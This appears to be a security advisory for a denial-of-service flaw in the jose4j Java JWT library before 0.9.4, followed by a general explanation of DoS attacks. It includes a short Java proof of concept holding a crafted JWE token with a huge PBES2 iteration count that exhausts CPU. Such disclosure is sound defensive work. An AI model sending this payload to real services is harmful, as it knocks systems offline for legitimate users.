Denial of Service (DoS) Affecting org.bitbucket.b_c:jose4j package, versions [,0.9.4)

org.bitbucket.b_c:jose4j is a robust and easy to use open source implementation of JSON Web Token (JWT) and the JOSE specification suite (JWS, JWE, and JWK). It is written in Java and relies solely on the JCA APIs for cryptography. Please see https://bitbucket.org/b_c/jose4j/wiki/Home for more info, examples, etc...

Affected versions of this package are vulnerable to Denial of Service (DoS) via a large p2c (PBES2 Count) value. An attacker can cause the application to consume excessive CPU resources by supplying an unusually high PBES2 Count value.

import org.jose4j.jwa.AlgorithmConstraints;
import org.jose4j.jwe.ContentEncryptionAlgorithmIdentifiers;
import org.jose4j.jwe.JsonWebEncryption;
import org.jose4j.jwe.KeyManagementAlgorithmIdentifiers;
import org.jose4j.keys.AesKey;
import org.jose4j.lang.ByteUtil;

import java.security.Key;

public class jwt {
    public static void main(String[] argc)throws Exception{
        Key key = new AesKey(ByteUtil.randomBytes(16));
        JsonWebEncryption jwe = new JsonWebEncryption();
        jwe.setAlgorithmConstraints(new AlgorithmConstraints(AlgorithmConstraints.ConstraintType.PERMIT,
                KeyManagementAlgorithmIdentifiers.PBES2_HS256_A128KW));
        jwe.setContentEncryptionAlgorithmConstraints(new AlgorithmConstraints(AlgorithmConstraints.ConstraintType.PERMIT,
                ContentEncryptionAlgorithmIdentifiers.AES_128_CBC_HMAC_SHA_256));
        jwe.setKey(key);
        jwe.setCompactSerialization("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJ1RWxQUGhJLThGY2h3a1BhIn0=.JOIw8ccIdkor7-ZaHQz6pUkqj2VEL_XIuonOwdSrdeXxFb7qN8FZKw.1-ZgAG8KzCbl6wDjUzrsTw.0pLJ0ZEu9OMYV1jyfPIrqg.gFNkCEwB1lf_Jovc7ZOd5w");
        System.out.println("Payload: " + jwe.getPayload());
    }
}

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

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